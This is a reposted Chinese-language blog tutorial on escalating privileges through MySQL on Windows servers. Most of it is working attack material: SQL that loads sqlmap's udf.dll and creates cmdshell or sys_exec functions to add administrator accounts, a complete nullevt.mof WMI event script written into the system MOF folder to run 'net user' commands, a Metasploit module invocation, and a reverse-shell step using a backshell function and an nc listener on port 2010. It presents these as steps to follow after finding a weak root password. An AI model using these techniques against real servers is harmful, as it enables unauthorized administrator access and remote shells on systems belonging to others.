欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

mysql两种提权方式

程序员文章站 2022-07-15 14:21:06
...

Mysql_UDF提权

提权要求

1.目标系统是Windows(Win2000,XP,Win2003);
2.如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
注:
该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。
3.如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
4.掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
5.拥有可以将udf.dll写入相应目录的权限。一般都是root
可以在mysql里输入

select @@basedir show variables like ‘%plugins%

寻找mysql安装路径

提权方法

使用SQL语句创建功能函数
语法:
Create Function 函数名 ‘导出的DLL路径’;

create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add);
select cmdshell(‘net localgroup administrators arsch /add);
drop function cmdshell;

udf.dll这个东西对于小白来说是不容易找到的(譬如我),后来才知道sqlmap里是有udf.dll文件的,就在sqlmap/udf/mysql/windows目录下,里面有32位和64位,注意:这里的位数是mysql的位数,并不是对方系统的位数。
如果你遇到了如图的错误:
mysql两种提权方式
那么一定要检查一下是不是位数搞错了,反正我是因为这个错误。
还有一个需要注意的是,sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中,
mysql两种提权方式
在sqlmap/extra/cloak目录下的cloak.py就是。
解密之后会在当前目录下生成dll文件。

将dll文件复制到mysql的/lib/plugin目录下,执行
mysql两种提权方式
结果报错了
mysql两种提权方式
那么这里需要注意的是,需要创建udf中存在的函数才可以,可以用十六进制编辑器打开udf.dll,看一下有哪些函数可以创建
mysql两种提权方式
大概就是这些了,我们可以使用sys_exec函数
mysql两种提权方式
成功,然后试验一下:

select sys_exec('calc');

弹出计算器
mysql两种提权方式

Mysql mof提权

提权要求

1.该漏洞的利用前提条件要先找到一个可写目录,然后上传mof文件
比如文章这里的 C:\RECYCLER
2.当前权限可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下

提权方法

一般方式

1.生成nullevt.mof文件
将以下代码保存为nullevt.mof文件:

    #pragma namespace("\\\\.\\root\\subscription")  
     
    instance of __EventFilter as $EventFilter  
    {  
        EventNamespace = "Root\\Cimv2";  
        Name  = "filtP2";  
        Query = "Select * From __InstanceModificationEvent "  
                "Where TargetInstance Isa \"Win32_LocalTime\" "  
                "And TargetInstance.Second = 5";  
        QueryLanguage = "WQL";  
    };  
     
    instance of ActiveScriptEventConsumer as $Consumer  
    {  
        Name = "consPCSV2";  
        ScriptingEngine = "JScript";  
        ScriptText =  
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";  
    };  
     
    instance of __FilterToConsumerBinding  
    {  
        Consumer   = $Consumer;  
        Filter = $EventFilter;  
    }; 

2.通过Mysql查询将文件导入
执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下,在windows7中默认是拒绝访问的。

    select load_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'; 

注:导入后系统会自动运行该文件,执行添加用户的命令。
3.查看执行结果
admin/admin 账号就已添加成功,可测试登录或者查询
4.权限提升
然后需要修改添加用户命令为将用户添加到管理员组

net.exe localgroup administrators admin/add

改一下mof文件中的命令,再次上传并查询一次,就成功了。

msf自带提权模块

use exploit/windows/mysql/mysql_mof
set 用户名 密码 ip (数据库允许所有主机登录才行)
mysql两种提权方式

Mysql反弹端口连接提权

假如我们扫到了一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,这时我们怎么办呢?

1、利用mysql客户端工具连接mysql服务器,然后执行下面的操作。
mysql.exe -h 172.16.10.11 -uroot -p
2 Enter password:
3 mysql> . c:\mysql.txt
4 mysql>select backshell(“YourIP”,2010);

2、本地监听你反弹的端口
nc.exe -vv -l -p 2010
成功后,你将获得一个system权限的cmdshell,其实这个也是利用的UDF提权。
参考文章:
https://blog.csdn.net/github_34457546/article/details/53009884